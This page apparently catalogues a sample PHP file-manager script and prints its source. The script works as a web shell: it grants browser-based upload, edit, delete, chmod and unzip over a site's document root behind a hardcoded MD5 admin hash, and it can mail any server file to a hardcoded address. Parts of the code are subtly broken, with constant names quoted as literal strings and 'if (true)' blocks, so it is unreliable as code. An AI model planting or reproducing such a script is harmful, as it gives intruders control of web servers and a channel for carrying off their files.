Jump to:
Screenshot
Attributes
Emails
<?php
/**
* File Manager Script
*/
// Default language ('en' and other from 'filemanager-l10n.php')
$lang = 'en';
// Auth with login/password (set true/false to enable/disable it)
$use_auth = true;
// Users: array('Username' => 'Password', 'Username2' => 'Password2', ...), Password has to encripted into MD5
$auth_users = array('admin' => '0da2e7fa0ba90f4ae031b0d232b8a57a');
// Readonly users (usernames array)
$readonly_users = array('user');
// Show or hide files and folders that starts with a dot
$show_hidden_files = true;
// Enable highlight.js (https://highlightjs.org/) on view's page
$use_highlightjs = true;
// highlight.js style
$highlightjs_style = 'vs';
// Enable ace.js (https://ace.c9.io/) on view's page
$edit_files = true;
// Send files though mail
$send_mail = true;
// Send files though mail
$toMailId = "[email protected]";
//
// Default timezone for date() and time() - http://php.net/manual/en/timezones.php
$default_timezone = 'Etc/GMT+8';
// UTC
// Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder'
// Will not working if $root_path will be outside of server document root
$root_url = '/';
// Root path for file manager
$root_path = $_SERVER['DOCUMENT_ROOT'] . '/' . $root_url;
// Server hostname. Can set manually if wrong
$http_host = $_SERVER['HTTP_HOST'];
// input encoding for iconv
$iconv_input_encoding = 'UTF-8';
// date() format for file modification date
$datetime_format = 'd.m.y H:i';
// include user config php file
if (defined('FM_CONFIG') && is_file(FM_CONFIG)) {
include FM_CONFIG;
}
//--- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL
// if fm included
if (defined('FM_EMBED')) {
$use_auth = false;
} else {
@set_time_limit(600);
date_default_timezone_set($default_timezone);
ini_set('default_charset', 'UTF-8');
if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) {
mb_internal_encoding('UTF-8');
}
if (function_exists('mb_regex_encoding')) {
mb_regex_encoding('UTF-8');
}
session_cache_limiter('');
session_name('filemanager');
session_start();
}
if (empty($auth_users)) {
$use_auth = false;
}
$is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1) || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https';
// clean and check $root_path
$root_path = rtrim($root_path, '\\/');
$root_path = str_replace('\\', '/', $root_path);
if (!@is_dir($root_path)) {
echo "<h1>Root path \"{$root_path}\" not found!</h1>";
exit;
}
// clean $root_url
$root_url = fm_clean_path($root_url);
// abs path for site
defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);
$languages = fm_get_available_langs();
// logout
if (isset($_GET['logout'])) {
unset($_SESSION['logged']);
fm_redirect(FM_SELF_URL);
}
// Show image here
if (isset($_GET['img'])) {
fm_show_image($_GET['img']);
}
// Auth
if ($use_auth) {
if (isset($_SESSION['logged'], $auth_users[$_SESSION['logged']])) {
// Logged
} elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'])) {
// Logging In
sleep(1);
if (isset($auth_users[$_POST['fm_usr']]) && md5($_POST['fm_pwd']) === $auth_users[$_POST['fm_usr']]) {
$_SESSION['logged'] = $_POST['fm_usr'];
fm_set_msg('You are logged in');
fm_redirect("FM_SELF_URL?p=");
} else {
unset($_SESSION['logged']);
fm_set_msg('Wrong password', 'error');
fm_redirect(FM_SELF_URL);
}
} else {
// Form
unset($_SESSION['logged']);
fm_show_header();
fm_show_message();
?>
<div class="path login-form">
<form action="" method="post">
<label for="fm_usr"><?php
echo fm_t('Username', $lang);
?></label><input type="text" id="fm_usr" name="fm_usr" value="" placeholder="<?php
echo fm_t('Username', $lang);
?>" required><br>
<label for="fm_pwd"><?php
echo fm_t('Password', $lang);
?></label><input type="password" id="fm_pwd" name="fm_pwd" value="" placeholder="<?php
echo fm_t('Password', $lang);
?>" required><br>
<select name="lang" title="Language" class="hidden">
<?php
foreach ($languages as $l) {
?>
<option value="<?php
echo $l;
?>"<?php
echo $l == $lang ? ' selected' : '';
?>><?php
echo $l;
?></option>
<?php
}
?>
</select>
<input type="submit" value="<?php
echo fm_t('Login', $lang);
?>">
</form>
</div>
<?php
fm_show_footer();
exit;
}
}
defined('FM_LANG') || define('FM_LANG', $lang);
define('FM_READONLY', $use_auth && !empty($readonly_users) && isset($_SESSION['logged']) && in_array($_SESSION['logged'], $readonly_users));
define('FM_IS_WIN', false);
// always use ?p=
if (!isset($_GET['p'])) {
fm_redirect("FM_SELF_URL?p=");
}
// get path
$p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : '');
// clean path
$p = fm_clean_path($p);
// instead globals vars
define('FM_PATH', $p);
define('FM_USE_AUTH', $use_auth);
defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format);
unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);
/*************************** ACTIONS ***************************/
//AJAX Request
if (isset($_POST['ajax']) && !FM_READONLY) {
//search : get list of files from the current folder
if (isset($_POST['type']) && $_POST['type'] == "search") {
$dir = $_POST['path'];
$response = scan($dir);
echo json_encode($response);
}
//Send file to mail
if (isset($_POST['type']) && $_POST['type'] == "mail") {
$isSend = send_mail($_POST['path'], $_POST['file'], $toMailId, 'File attached');
echo $isSend;
}
//backup files
if (isset($_POST['type']) && $_POST['type'] == "backup") {
$file = $_POST['file'];
$path = $_POST['path'];
$date = date("dMy-His");
$newFile = $file . '-' . $date . '.bak';
copy($path . '/' . $file, $path . '/' . $newFile) or die("Unable to backup");
echo "Backup {$newFile} Created";
}
exit;
}
// Delete file / folder
if (isset($_GET['del']) && !FM_READONLY) {
$del = $_GET['del'];
$del = fm_clean_path($del);
$del = str_replace('/', '', $del);
if ($del != '' && $del != '..' && $del != '.') {
$path = FM_ROOT_PATH;
if (true) {
$path = "FM_ROOT_PATH/FM_PATH";
}
$is_dir = is_dir($path . '/' . $del);
if (fm_rdelete($path . '/' . $del)) {
$msg = $is_dir ? 'Folder <b>%s</b> deleted' : 'File <b>%s</b> deleted';
fm_set_msg(sprintf($msg, $del));
} else {
$msg = $is_dir ? 'Folder <b>%s</b> not deleted' : 'File <b>%s</b> not deleted';
fm_set_msg(sprintf($msg, $del), 'error');
}
} else {
fm_set_msg('Wrong file or folder name', 'error');
}
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
// Create folder
if (isset($_GET['new']) && isset($_GET['type']) && !FM_READONLY) {
$new = $_GET['new'];
$type = $_GET['type'];
$new = fm_clean_path($new);
$new = str_replace('/', '', $new);
if ($new != '' && $new != '..' && $new != '.') {
$path = FM_ROOT_PATH;
if (true) {
$path = "FM_ROOT_PATH/FM_PATH";
}
if ($_GET['type'] == "file") {
if (!file_exists($path . '/' . $new)) {
@fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new);
fm_set_msg(sprintf(fm_t('File <b>%s</b> created'), $new));
} else {
fm_set_msg(sprintf(fm_t('File <b>%s</b> already exists'), $new), 'alert');
}
} else {
if (fm_mkdir($path . '/' . $new, false) === true) {
fm_set_msg(sprintf(fm_t('Folder <b>%s</b> created'), $new));
} elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) {
fm_set_msg(sprintf(fm_t('Folder <b>%s</b> already exists'), $new), 'alert');
} else {
fm_set_msg(sprintf(fm_t('Folder <b>%s</b> not created'), $new), 'error');
}
}
} else {
fm_set_msg('Wrong folder name', 'error');
}
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
// Copy folder / file
if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) {
// from
$copy = $_GET['copy'];
$copy = fm_clean_path($copy);
// empty path
if ($copy == '') {
fm_set_msg('Source path not defined', 'error');
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
// abs path from
$from = "FM_ROOT_PATH/" . $copy;
// abs path to
$dest = FM_ROOT_PATH;
if (true) {
$dest = "FM_ROOT_PATH/FM_PATH";
}
$dest .= '/' . basename($from);
// move?
$move = isset($_GET['move']);
// copy/move
if ($from != $dest) {
$msg_from = trim("FM_PATH/" . basename($from), '/');
if ($move) {
$rename = fm_rename($from, $dest);
if ($rename) {
fm_set_msg(sprintf('Moved from <b>%s</b> to <b>%s</b>', $copy, $msg_from));
} elseif ($rename === null) {
fm_set_msg('File or folder with this path already exists', 'alert');
} else {
fm_set_msg(sprintf('Error while moving from <b>%s</b> to <b>%s</b>', $copy, $msg_from), 'error');
}
} else {
if (fm_rcopy($from, $dest)) {
fm_set_msg(sprintf('Copyied from <b>%s</b> to <b>%s</b>', $copy, $msg_from));
} else {
fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', $copy, $msg_from), 'error');
}
}
} else {
fm_set_msg('Paths must be not equal', 'alert');
}
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
// Mass copy files/ folders
if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish']) && !FM_READONLY) {
// from
$path = FM_ROOT_PATH;
if (true) {
$path = "FM_ROOT_PATH/FM_PATH";
}
// to
$copy_to_path = FM_ROOT_PATH;
$copy_to = fm_clean_path($_POST['copy_to']);
if ($copy_to != '') {
$copy_to_path .= '/' . $copy_to;
}
if ($path == $copy_to_path) {
fm_set_msg('Paths must be not equal', 'alert');
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
if (!is_dir($copy_to_path)) {
if (!fm_mkdir($copy_to_path, true)) {
fm_set_msg('Unable to create destination folder', 'error');
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
}
// move?
$move = isset($_POST['move']);
// copy/move
$errors = 0;
$files = $_POST['file'];
if (is_array($files) && count($files)) {
foreach ($files as $f) {
if ($f != '') {
// abs path from
$from = $path . '/' . $f;
// abs path to
$dest = $copy_to_path . '/' . $f;
// do
if ($move) {
$rename = fm_rename($from, $dest);
if ($rename === false) {
$errors++;
}
} else {
if (!fm_rcopy($from, $dest)) {
$errors++;
}
}
}
}
if ($errors == 0) {
$msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
fm_set_msg($msg);
} else {
$msg = $move ? 'Error while moving items' : 'Error while copying items';
fm_set_msg($msg, 'error');
}
} else {
fm_set_msg('Nothing selected', 'alert');
}
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
// Rename
if (isset($_GET['ren'], $_GET['to']) && !FM_READONLY) {
// old name
$old = $_GET['ren'];
$old = fm_clean_path($old);
$old = str_replace('/', '', $old);
// new name
$new = $_GET['to'];
$new = fm_clean_path($new);
$new = str_replace('/', '', $new);
// path
$path = FM_ROOT_PATH;
if (true) {
$path = "FM_ROOT_PATH/FM_PATH";
}
// rename
if ($old != '' && $new != '') {
if (fm_rename($path . '/' . $old, $path . '/' . $new)) {
fm_set_msg(sprintf('Renamed from <b>%s</b> to <b>%s</b>', $old, $new));
} else {
fm_set_msg(sprintf('Error while renaming from <b>%s</b> to <b>%s</b>', $old, $new), 'error');
}
} else {
fm_set_msg('Names not set', 'error');
}
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
// Download
if (isset($_GET['dl'])) {
$dl = $_GET['dl'];
$dl = fm_clean_path($dl);
$dl = str_replace('/', '', $dl);
$path = FM_ROOT_PATH;
if (true) {
$path = "FM_ROOT_PATH/FM_PATH";
}
if ($dl != '' && is_file($path . '/' . $dl)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($path . '/' . $dl) . '"');
header('Content-Transfer-Encoding: binary');
header('Connection: Keep-Alive');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Content-Length: ' . filesize($path . '/' . $dl));
readfile($path . '/' . $dl);
exit;
} else {
fm_set_msg('File not found', 'error');
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
}
// Upload
if (isset($_POST['upl']) && !FM_READONLY) {
$path = FM_ROOT_PATH;
if (true) {
$path = "FM_ROOT_PATH/FM_PATH";
}
$errors = 0;
$uploads = 0;
$total = count($_FILES['upload']['name']);
for ($i = 0; $i < $total; $i++) {
$tmp_name = $_FILES['upload']['tmp_name'][$i];
if (empty($_FILES['upload']['error'][$i]) && !empty($tmp_name) && $tmp_name != 'none') {
if (move_uploaded_file($tmp_name, $path . '/' . $_FILES['upload']['name'][$i])) {
$uploads++;
} else {
$errors++;
}
}
}
if ($errors == 0 && $uploads > 0) {
fm_set_msg(sprintf('All files uploaded to <b>%s</b>', $path));
} elseif ($errors == 0 && $uploads == 0) {
fm_set_msg('Nothing uploaded', 'alert');
} else {
fm_set_msg(sprintf('Error while uploading files. Uploaded files: %s', $uploads), 'error');
}
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
// Mass deleting
if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) {
$path = FM_ROOT_PATH;
if (true) {
$path = "FM_ROOT_PATH/FM_PATH";
}
$errors = 0;
$files = $_POST['file'];
if (is_array($files) && count($files)) {
foreach ($files as $f) {
if ($f != '') {
$new_path = $path . '/' . $f;
if (!fm_rdelete($new_path)) {
$errors++;
}
}
}
if ($errors == 0) {
fm_set_msg('Selected files and folder deleted');
} else {
fm_set_msg('Error while deleting items', 'error');
}
} else {
fm_set_msg('Nothing selected', 'alert');
}
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
// Pack files
if (isset($_POST['group'], $_POST['zip']) && !FM_READONLY) {
$path = FM_ROOT_PATH;
if (true) {
$path = "FM_ROOT_PATH/FM_PATH";
}
if (!class_exists('ZipArchive')) {
fm_set_msg('Operations with archives are not available', 'error');
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
$files = $_POST['file'];
if (!empty($files)) {
chdir($path);
if (count($files) == 1) {
$one_file = reset($files);
$one_file = basename($one_file);
$zipname = $one_file . '_' . date('ymd_His') . '.zip';
} else {
$zipname = 'archive_' . date('ymd_His') . '.zip';
}
$zipper = new FM_Zipper();
$res = $zipper->create($zipname, $files);
if ($res) {
fm_set_msg(sprintf('Archive <b>%s</b> created', $zipname));
} else {
fm_set_msg('Archive not created', 'error');
}
} else {
fm_set_msg('Nothing selected', 'alert');
}
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
// Unpack
if (isset($_GET['unzip']) && !FM_READONLY) {
$unzip = $_GET['unzip'];
$unzip = fm_clean_path($unzip);
$unzip = str_replace('/', '', $unzip);
$path = FM_ROOT_PATH;
if (true) {
$path = "FM_ROOT_PATH/FM_PATH";
}
if (!class_exists('ZipArchive')) {
fm_set_msg('Operations with archives are not available', 'error');
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
if ($unzip != '' && is_file($path . '/' . $unzip)) {
$zip_path = $path . '/' . $unzip;
//to folder
$tofolder = '';
if (isset($_GET['tofolder'])) {
$tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
if (fm_mkdir($path . '/' . $tofolder, true)) {
$path .= '/' . $tofolder;
}
}
$zipper = new FM_Zipper();
$res = $zipper->unzip($zip_path, $path);
if ($res) {
fm_set_msg('Archive unpacked');
} else {
fm_set_msg('Archive not unpacked', 'error');
}
} else {
fm_set_msg('File not found', 'error');
}
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
// Change Perms (not for Windows)
if (isset($_POST['chmod']) && !FM_READONLY && !FM_IS_WIN) {
$path = FM_ROOT_PATH;
if (true) {
$path = "FM_ROOT_PATH/FM_PATH";
}
$file = $_POST['chmod'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file) && !is_dir($path . '/' . $file)) {
fm_set_msg('File not found', 'error');
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
$mode = 0;
if (!empty($_POST['ur'])) {
$mode = 256;
}
if (!empty($_POST['uw'])) {
$mode |= 0200;
}
if (!empty($_POST['ux'])) {
$mode |= 0100;
}
if (!empty($_POST['gr'])) {
$mode |= 040;
}
if (!empty($_POST['gw'])) {
$mode |= 020;
}
if (!empty($_POST['gx'])) {
$mode |= 010;
}
if (!empty($_POST['or'])) {
$mode |= 04;
}
if (!empty($_POST['ow'])) {
$mode |= 02;
}
if (!empty($_POST['ox'])) {
$mode |= 01;
}
if (@chmod($path . '/' . $file, $mode)) {
fm_set_msg('Permissions changed');
} else {
fm_set_msg('Permissions not changed', 'error');
}
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
/*************************** /ACTIONS ***************************/
// get current path
$path = FM_ROOT_PATH;
if (true) {
$path = "FM_ROOT_PATH/FM_PATH";
}
// check path
if (!is_dir($path)) {
fm_redirect("FM_SELF_URL?p=");
}
// get parent folder
$parent = fm_get_parent_path(FM_PATH);
$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file == '.' || $file == '..') {
continue;
}
if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') {
continue;
}
$new_path = $path . '/' . $file;
if (is_file($new_path)) {
$files[] = $file;
} elseif (is_dir($new_path) && $file != '.' && $file != '..') {
$folders[] = $file;
}
}
}
if (!empty($files)) {
natcasesort($files);
}
if (!empty($folders)) {
natcasesort($folders);
}
// upload form
if (isset($_GET['upload']) && !FM_READONLY) {
fm_show_header();
// HEADER
fm_show_nav_path(FM_PATH);
// current path
?>
<div class="path">
<p><b><?php
echo fm_t('Uploading files');
?></b></p>
<p class="break-word"><?php
echo fm_t('Destination folder:');
?> <?php
echo fm_convert_win("FM_ROOT_PATH/FM_PATH");
?></p>
<form action="" method="post" enctype="multipart/form-data">
<input type="hidden" name="p" value="<?php
echo fm_enc(FM_PATH);
?>">
<input type="hidden" name="upl" value="1">
<input type="file" name="upload[]"><br>
<input type="file" name="upload[]"><br>
<input type="file" name="upload[]"><br>
<input type="file" name="upload[]"><br>
<input type="file" name="upload[]"><br>
<br>
<p>
<button type="submit" class="btn"><i class="fa fa-check-circle"></i> <?php
echo fm_t('Upload', $lang);
?></button>
<b><a href="?p=<?php
echo urlencode(FM_PATH);
?>"><i class="fa fa-times-circle"></i> <?php
echo fm_t('Cancel', $lang);
?></a></b>
</p>
</form>
</div>
<?php
fm_show_footer();
exit;
}
// copy form POST
if (isset($_POST['copy']) && !FM_READONLY) {
$copy_files = $_POST['file'];
if (!is_array($copy_files) || empty($copy_files)) {
fm_set_msg('Nothing selected', 'alert');
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
fm_show_header();
// HEADER
fm_show_nav_path(FM_PATH);
// current path
?>
<div class="path">
<p><b>Copying</b></p>
<form action="" method="post">
<input type="hidden" name="p" value="<?php
echo fm_enc(FM_PATH);
?>">
<input type="hidden" name="finish" value="1">
<?php
foreach ($copy_files as $cf) {
echo '<input type="hidden" name="file[]" value="' . fm_enc($cf) . '">' . PHP_EOL;
}
?>
<p class="break-word"><?php
echo fm_t('Files:');
?> <b><?php
echo implode('</b>, <b>', $copy_files);
?></b></p>
<p class="break-word"><?php
echo fm_t('Source folder:');
?> <?php
echo fm_convert_win("FM_ROOT_PATH/FM_PATH");
?><br>
<label for="inp_copy_to"><?php
echo fm_t('Destination folder:');
?></label>
<?php
echo "FM_ROOT_PATH";
?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php
echo fm_enc(FM_PATH);
?>">
</p>
<p><label><input type="checkbox" name="move" value="1"> <?php
echo fm_t('Move', $lang);
?></label></p>
<p>
<button type="submit" class="btn"><i class="fa fa-check-circle"></i> <?php
echo fm_t('Copy', $lang);
?></button>
<b><a href="?p=<?php
echo urlencode(FM_PATH);
?>"><i class="fa fa-times-circle"></i> <?php
echo fm_t('Cancel', $lang);
?></a></b>
</p>
</form>
</div>
<?php
fm_show_footer();
exit;
}
// copy form
if (isset($_GET['copy']) && !isset($_GET['finish']) && !FM_READONLY) {
$copy = $_GET['copy'];
$copy = fm_clean_path($copy);
if ($copy == '' || !file_exists("FM_ROOT_PATH/" . $copy)) {
fm_set_msg('File not found', 'error');
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
fm_show_header();
// HEADER
fm_show_nav_path(FM_PATH);
// current path
?>
<div class="path">
<p><b><?php
echo fm_t('Copying', $lang);
?></b></p>
<p class="break-word">
<?php
echo fm_t('Source path:', $lang);
?> <?php
echo fm_convert_win("FM_ROOT_PATH/" . $copy);
?><br>
<?php
echo fm_t('Destination folder:', $lang);
?> <?php
echo fm_convert_win("FM_ROOT_PATH/FM_PATH");
?>
</p>
<p>
<b><a href="?p=<?php
echo urlencode(FM_PATH);
?>&copy=<?php
echo urlencode($copy);
?>&finish=1"><i class="fa fa-check-circle"></i> <?php
echo fm_t('Copy', $lang);
?></a></b>
<b><a href="?p=<?php
echo urlencode(FM_PATH);
?>&copy=<?php
echo urlencode($copy);
?>&finish=1&move=1"><i class="fa fa-check-circle"></i> <?php
echo fm_t('Move', $lang);
?></a></b>
<b><a href="?p=<?php
echo urlencode(FM_PATH);
?>"><i class="fa fa-times-circle"></i> <?php
echo fm_t('Cancel', $lang);
?></a></b>
</p>
<p><i><?php
echo fm_t('Select folder:');
?></i></p>
<ul class="folders break-word">
<?php
if ($parent !== false) {
?>
<li><a href="?p=<?php
echo urlencode($parent);
?>&copy=<?php
echo urlencode($copy);
?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li>
<?php
}
foreach ($folders as $f) {
?>
<li><a href="?p=<?php
echo urlencode(trim("FM_PATH/" . $f, '/'));
?>&copy=<?php
echo urlencode($copy);
?>"><i class="fa fa-folder-o"></i> <?php
echo fm_convert_win($f);
?></a></li>
<?php
}
?>
</ul>
</div>
<?php
fm_show_footer();
exit;
}
// file viewer
if (isset($_GET['view'])) {
$file = $_GET['view'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file)) {
fm_set_msg('File not found', 'error');
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
fm_show_header();
// HEADER
fm_show_nav_path(FM_PATH);
// current path
$file_url = FM_ROOT_URL . fm_convert_win("/FM_PATH/" . $file);
$file_path = $path . '/' . $file;
$ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
$mime_type = fm_get_mime_type($file_path);
$filesize = filesize($file_path);
$is_zip = false;
$is_image = false;
$is_audio = false;
$is_video = false;
$is_text = false;
$view_title = 'File';
$filenames = false;
// for zip
$content = '';
// for text
if ($ext == 'zip') {
$is_zip = true;
$view_title = 'Archive';
$filenames = fm_get_zif_info($file_path);
} elseif (in_array($ext, fm_get_image_exts())) {
$is_image = true;
$view_title = 'Image';
} elseif (in_array($ext, fm_get_audio_exts())) {
$is_audio = true;
$view_title = 'Audio';
} elseif (in_array($ext, fm_get_video_exts())) {
$is_video = true;
$view_title = 'Video';
} elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
$is_text = true;
$content = file_get_contents($file_path);
}
?>
<div class="path">
<p class="break-word"><b><?php
echo $view_title;
?> "<?php
echo fm_convert_win($file);
?>"</b></p>
<p class="break-word">
<?php
echo fm_t('Full path:', $lang);
?> <?php
echo fm_convert_win($file_path);
?><br>
<?php
echo fm_t('File size:', $lang);
?> <?php
echo fm_get_filesize($filesize);
if ($filesize >= 1000) {
?> (<?php
echo sprintf('%s bytes', $filesize);
?>)<?php
}
?><br>
<?php
echo fm_t('MIME-type:', $lang);
?> <?php
echo $mime_type;
?><br>
<?php
// ZIP info
if ($is_zip && $filenames !== false) {
$total_files = 0;
$total_comp = 0;
$total_uncomp = 0;
foreach ($filenames as $fn) {
if (!$fn['folder']) {
$total_files++;
}
$total_comp += $fn['compressed_size'];
$total_uncomp += $fn['filesize'];
}
?>
Files in archive: <?php
echo $total_files;
?><br>
Total size: <?php
echo fm_get_filesize($total_uncomp);
?><br>
Size in archive: <?php
echo fm_get_filesize($total_comp);
?><br>
Compression: <?php
echo round($total_comp / $total_uncomp * 100);
?>%<br>
<?php
}
// Image info
if ($is_image) {
$image_size = getimagesize($file_path);
echo 'Image sizes: ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '<br>';
}
// Text info
if ($is_text) {
$is_utf8 = fm_is_utf8($content);
if (function_exists('iconv')) {
if (!$is_utf8) {
$content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content);
}
}
echo 'Charset: ' . ($is_utf8 ? 'utf-8' : '8 bit') . '<br>';
}
?>
</p>
<p>
<b><a href="?p=<?php
echo urlencode(FM_PATH);
?>&dl=<?php
echo urlencode($file);
?>"><i class="fa fa-cloud-download"></i> <?php
echo fm_t('Download', $lang);
?></a></b>
<b><a href="<?php
echo $file_url;
?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php
echo fm_t('Open', $lang);
?></a></b>
<?php
// ZIP actions
if (!FM_READONLY && $is_zip && $filenames !== false) {
$zip_name = pathinfo($file_path, PATHINFO_FILENAME);
?>
<b><a href="?p=<?php
echo urlencode(FM_PATH);
?>&unzip=<?php
echo urlencode($file);
?>"><i class="fa fa-check-circle"></i> <?php
echo fm_t('UnZip', $lang);
?></a></b>
<b><a href="?p=<?php
echo urlencode(FM_PATH);
?>&unzip=<?php
echo urlencode($file);
?>&tofolder=1" title="<?php
echo fm_t('UnZip to', $lang);
?> <?php
echo fm_enc($zip_name);
?>"><i class="fa fa-check-circle"></i>
<?php
echo fm_t('UnZip to folder', $lang);
?></a></b>
<?php
}
if ($is_text && !FM_READONLY) {
?>
<b><a href="?p=<?php
echo urlencode(trim(FM_PATH));
?>&edit=<?php
echo urlencode($file);
?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php
echo fm_t('Edit', $lang);
?></a></b>
<b><a href="?p=<?php
echo urlencode(trim(FM_PATH));
?>&edit=<?php
echo urlencode($file);
?>&env=ace" class="edit-file"><i class="fa fa-pencil-square"></i> <?php
echo fm_t('Advanced Edit', $lang);
?></a></b>
<?php
}
if ($send_mail && !FM_READONLY) {
?>
<b><a href="javascript:mailto('<?php
echo urlencode(trim("FM_ROOT_PATH/FM_PATH"));
?>','<?php
echo urlencode($file);
?>')"><i class="fa fa-pencil-square"></i> <?php
echo fm_t('Mail', $lang);
?></a></b>
<?php
}
?>
<b><a href="?p=<?php
echo urlencode(FM_PATH);
?>"><i class="fa fa-chevron-circle-left"></i> <?php
echo fm_t('Back', $lang);
?></a></b>
</p>
<?php
if ($is_zip) {
// ZIP content
if ($filenames !== false) {
echo "<code class=\"maxheight\">";
foreach ($filenames as $fn) {
if ($fn['folder']) {
echo '<b>' . $fn['name'] . '</b><br>';
} else {
echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>';
}
}
echo "</code>";
} else {
echo "<p>Error while fetching archive info</p>";
}
} elseif ($is_image) {
// Image content
if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico'))) {
echo '<p><img src="' . $file_url . '" alt="" class="preview-img"></p>';
}
} elseif ($is_audio) {
echo '<p><audio src="' . $file_url . '" controls preload="metadata"></audio></p>';
} elseif ($is_video) {
echo '<div class="preview-video"><video src="' . $file_url . '" width="640" height="360" controls preload="metadata"></video></div>';
} elseif ($is_text) {
if (FM_USE_HIGHLIGHTJS) {
// highlight
$hljs_classes = array('shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml');
$hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\\.min\\.(css|js)$#i', $file)) {
$hljs_class = 'nohighlight';
}
$content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fm_enc($content) . '</code></pre>';
} elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {
// php highlight
$content = highlight_string($content, true);
} else {
$content = '<pre>' . fm_enc($content) . '</pre>';
}
echo $content;
}
?>
</div>
<?php
fm_show_footer();
exit;
}
// file editor
if (isset($_GET['edit'])) {
$file = $_GET['edit'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file)) {
fm_set_msg(fm_t('File not found', $lang), 'error');
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
fm_show_header();
// HEADER
fm_show_nav_path(FM_PATH);
// current path
$file_url = FM_ROOT_URL . fm_convert_win("/FM_PATH/" . $file);
$file_path = $path . '/' . $file;
//normal editer
$isNormalEditor = true;
if (isset($_GET['env'])) {
if ($_GET['env'] == "ace") {
$isNormalEditor = false;
}
}
//Save File
if (isset($_POST['savedata'])) {
$writedata = $_POST['savedata'];
$fd = fopen($file_path, "w");
@fwrite($fd, $writedata);
fclose($fd);
fm_set_msg(fm_t('File Saved Successfully', $lang), 'alert');
}
$ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
$mime_type = fm_get_mime_type($file_path);
$filesize = filesize($file_path);
